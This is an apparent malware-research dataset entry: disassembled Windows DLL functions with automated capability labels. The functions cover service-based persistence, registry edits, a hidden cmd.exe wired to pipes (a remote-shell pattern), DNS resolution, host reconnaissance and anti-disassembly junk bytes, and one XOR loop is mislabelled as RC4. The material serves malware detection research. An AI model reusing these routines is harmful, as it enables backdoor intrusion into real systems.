joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100062f0
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000630a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x14]
call fcn.10005d60
push 0xe00f003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10006340
mov edx, dword [ebp - 0x14]
mov dword [edx + 4], 0x1b5d
jmp 0x100063a3
push 0xf01ff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10006372
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x14]
mov dword [eax + 4], 0x1b5d
jmp 0x100063a3
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 8], 0
jne 0x100063a3
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], 0x1b5d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100065f0
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000660a
push ebp
adc byte [ecx], 0x58
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000662f
jmp 0x10006754
mov dword [ebp - 8], 0
push 0x2000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov ecx, 0x800
xor eax, eax
mov edi, dword [ebp - 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 8]
push ecx
push 0x2000
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x10006738
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
mov dword [ecx + 8], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x14]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x22c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x42c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x32c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c]
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x62c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 0xc]
add ecx, 0x10
push ecx
push str.SYSTEMControlSet001Services_s
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
add eax, 0x82c
push eax
push str.Description
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.10009980
add esp, 0x10
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10006760
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000677a
push ebp
adc byte [ecx], 0x58
pop eax
mov ecx, dword [ebp - 0xc]
call fcn.10007010
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10006798
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 0x1b69
jmp 0x100067e1
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100067d7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], 0x1b69
jmp 0x100067e1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100067f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000680a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x908]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000684f
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b68
jmp 0x100068aa
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x900]
push edx
mov eax, dword [ebp - 0xc]
add eax, 0x500
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x904]
push edx
push 0
mov eax, dword [ebp - 0xc]
add eax, 0x400
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100068a0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b67
jmp 0x100068aa
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100068c0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x100068da
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x908]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000691f
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b68
jmp 0x1000695c
mov ecx, dword [ebp - 0xc]
add ecx, 0x400
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10006952
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], 0x1b64
jmp 0x1000695c
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006970
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000698a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x908]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100069cf
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b68
jmp 0x10006a07
push 0x100123d0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100069fd
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b64
jmp 0x10006a07
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007010
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000702a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 8]
add eax, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp - 8]
add ecx, 0x14
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008800
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000881a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x2c], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10008bc0
test eax, eax
jne 0x10008837
xor eax, eax
jmp 0x10008907
mov edx, dword [ebp - 0x1c]
push edx
push 0
push 0x10008a80
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x100000
mov eax, dword [ebp - 0xc]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100088bc
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10008910
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1000889b
jmp 0x100088bc
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov byte [edx], 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10008b40
test eax, eax
jne 0x100088ba
jmp 0x100088bc
jmp 0x1000886e
mov edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10008910
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000892a
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x100089a0
mov dword [ebp - 8], 0
mov byte [ebp - 0xc], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10008969
cmp dword [ebp - 8], 0
jne 0x1000896d
xor eax, eax
jmp 0x100089a3
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov al, byte [ebp - 0xc]
mov byte [edx], al
movsx ecx, byte [ebp - 0xc]
cmp ecx, 0xa
je 0x1000898a
movsx edx, byte [ebp - 0xc]
cmp edx, 0x3e
jne 0x10008995
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x100089a0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x10008932
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10008bc0
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
push eax
xor eax, eax
xor eax, eax
je 0x10008bda
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x24], eax
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
add eax, 0x18
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x14
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10008c23
xor eax, eax
jmp 0x10008d54
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x18]
push eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
jne 0x10008c3d
xor eax, eax
jmp 0x10008d54
push 2
push 0
push 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x1c
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10008c75
xor eax, eax
jmp 0x10008d54
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x20], eax
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 8
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10008cb5
xor eax, eax
jmp 0x10008d54
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
push eax
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
jne 0x10008ccf
xor eax, eax
jmp 0x10008d54
push 2
push 0
push 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10008d04
xor eax, eax
jmp 0x10008d54
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
call fcn.10008d60
test eax, eax
jne 0x10008d21
xor eax, eax
jmp 0x10008d54
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x20]
push ecx
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
jne 0x10008d38
xor eax, eax
jmp 0x10008d54
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x24]
push eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
jne 0x10008d4f
xor eax, eax
jmp 0x10008d54
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008d60
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 0x58], ecx
push eax
xor eax, eax
xor eax, eax
je 0x10008d7a
push ebp
adc byte [ecx], 0x58
pop eax
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x10], 0
mov word [ebp - 0x12], 0
mov dword [ebp - 0x3c], 0x100123d0
mov dword [ebp - 0x18], 0x101
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 4], edx
mov word [ebp - 0x14], 0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
push str.cmd.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10008dfd
xor eax, eax
jmp 0x10008e0b
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
mov dword [edx + 0x28], eax
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008e20
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10008e35
push ebp
adc byte [ecx], 0x58
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10008e6e
xor eax, eax
jmp 0x10008e7d
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008f80
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10008f97
push ebp
adc byte [ecx], 0x58
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10008fb8
xor eax, eax
jmp 0x10008fd8
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100091c0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x100091da
push ebp
adc byte [ecx], 0x58
pop eax
mov byte [ebp - 0x104], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000929f
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x1000929f
mov word [ebp - 0x118], 0
xor ecx, ecx
mov dword [ebp - 0x116], ecx
mov dword [ebp - 0x112], ecx
mov dword [ebp - 0x10e], ecx
mov word [ebp - 0x10a], cx
mov edx, dword [ebp - 0x108]
movsx ecx, word [edx + 0xa]
mov eax, dword [ebp - 0x108]
mov edx, dword [eax + 0xc]
mov esi, dword [edx]
lea edi, [ebp - 0x114]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009440
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009457
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x10009470
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + 0xc]
jae 0x10009497
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp + 0x10]
and edx, 0xff
xor ecx, edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov byte [eax], cl
jmp 0x10009467
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100094a0
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x100094b7
push ebp
adc byte [ecx], 0x58
pop eax
call fcn.10009630
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x18], eax
mov dword [ebp - 0x4c], 0
mov ecx, 8
xor eax, eax
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call fcn.10009710
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x38]
mov dword [edx + 0x1c], eax
mov dword [ebp - 0x24], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [ebp - 0x1c]
shr edx, 0xa
mov eax, dword [ebp + 8]
mov dword [eax + 8], edx
mov dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x76
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [ebp + 8]
cmp dword [eax], 0x1f40
jne 0x1000954e
call fcn.10009820
movsx ecx, al
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], ecx
mov eax, dword [ebp + 0xc]
add eax, 0x21c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10009577
mov ecx, dword [ebp + 8]
add ecx, 0x76
push ecx
mov edx, dword [ebp + 8]
add edx, 0x36
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000958d
mov eax, dword [ebp + 0xc]
add eax, 0x21c
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x36
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [edx + 0x3f0]
mov dword [eax + 0x24], ecx
mov edx, dword [edx + 0x3f4]
mov dword [eax + 0x28], edx
mov eax, dword [ebp + 0xc]
add eax, 0x3cc
push eax
mov ecx, dword [ebp + 8]
add ecx, 0xb6
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
add edx, 0x3ac
push edx
mov eax, dword [ebp + 8]
add eax, 0xd6
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], eax
mov dword [ebp - 4], 0
push 4
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 0x842
push ecx
call fcn.10009b80
add esp, 0xc
mov edx, dword [ebp + 8]
mov ax, word [ebp - 4]
mov word [edx + 0xf6], ax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009630
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000964a
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
mov ecx, 0x24
xor eax, eax
lea edi, [ebp - 0x90]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x80000000
jae 0x10009701
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x100096bb
cmp dword [ebp - 0x8c], 0
jne 0x100096bb
mov dword [ebp - 0x98], 1
jmp 0x10009701
cmp dword [ebp - 0x90], 5
jne 0x100096d9
cmp dword [ebp - 0x8c], 1
jne 0x100096d9
mov dword [ebp - 0x98], 2
jmp 0x10009701
cmp dword [ebp - 0x90], 5
jne 0x100096f7
cmp dword [ebp - 0x8c], 2
jne 0x100096f7
mov dword [ebp - 0x98], 3
jmp 0x10009701
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret